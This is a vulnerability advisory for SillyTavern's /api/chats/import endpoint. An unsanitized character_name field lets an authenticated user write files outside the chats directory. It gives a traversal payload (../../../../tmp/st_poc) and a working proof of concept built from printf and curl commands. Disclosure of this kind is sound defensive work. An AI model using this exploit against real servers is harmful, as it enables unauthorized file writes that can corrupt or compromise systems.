SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory

Summary

A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name.

Details

character_name is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.

Evidence:

• Import handler entrypoint:
  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686
• Unsanitized character_name used in output filename:
  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723
• Same write pattern in JSONL import branch:
  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766
• Endpoint auth context (authenticated user access):
  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239

Example payload:

• character_name=../../../../tmp/st_poc

This causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).

PoC

Prerequisites:

• Valid authenticated session cookie (cookie.txt)
• Valid CSRF token ($TOKEN)

Prepare payload:

printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl

Trigger arbitrary write:

curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
  -F "avatar=@/tmp/poc.jsonl" \
  -F "file_type=jsonl" \
  -F "avatar_url=a.png" \
  -F "character_name=../../../../tmp/st_poc" \
  -F "user_name=u" \
  http://TARGET:8000/api/chats/import